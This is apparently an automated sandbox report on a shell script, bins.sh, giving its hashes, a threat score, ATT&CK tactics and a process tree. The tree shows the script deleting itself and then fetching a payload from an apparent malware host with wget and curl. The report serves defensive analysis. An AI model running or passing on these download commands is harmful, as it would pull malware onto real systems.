cf9e09e793c1e8d615f6601e14d0fae94f7dd2b894b7434de82b3ff61ff53b07

Analysis

max time kernel
148s
max time network
129s
platform
ubuntu-18.04_amd64
resource
ubuntu1804-amd64-20240508-en
resource tags

arch:amd64arch:i386image:ubuntu1804-amd64-20240508-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
submitted
14/11/2024, 04:32

Target
bins.sh
Size 10KB
Sample241114-e5ynkstnht
SHA256 cf9e09e793c1e8d615f6601e14d0fae94f7dd2b894b7434de82b3ff61ff53b07
MD5 436e88cfc4e72acb66814079d0cf0189
SHA1 b1ae03492247094ef2c3a3d1bad1cf42290a6b9f
SHA512 549dca3efd54f0759339e6f3f57f47991f8073b7d3a9b3c974a7e46acb67015435deaab53c89c40a5b590360fd3fbae727c144611faa65d1cec901474a200483
SSDEEP 96:YMQFpBacLFlULttyLIEcLYUxvDJY3B353+bfoL04v3Ldt3jA3j83jLjMjsjYaSw8:pcs+86JH+eS3ApmeS3AqN
MD5 SHA1 SHA512 SSDEEP

Score

3^/10

discovery

System Network Configuration Discovery 1 TTPs 2 IoCs

Adversaries may gather information about the network configuration of a system.

System Network Configuration Discovery

pid	Process
1522	wget
1523	curl

/tmp/bins.sh
/tmp/bins.sh
1⤵
PID:1520
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:1521
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/cQykkfW8HG0V06Nr57w9MidZ0QRHgLytNI
  2⤵
  - System Network Configuration Discovery
  PID:1522
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/cQykkfW8HG0V06Nr57w9MidZ0QRHgLytNI
  2⤵
  - System Network Configuration Discovery
  PID:1523

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Network Configuration Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact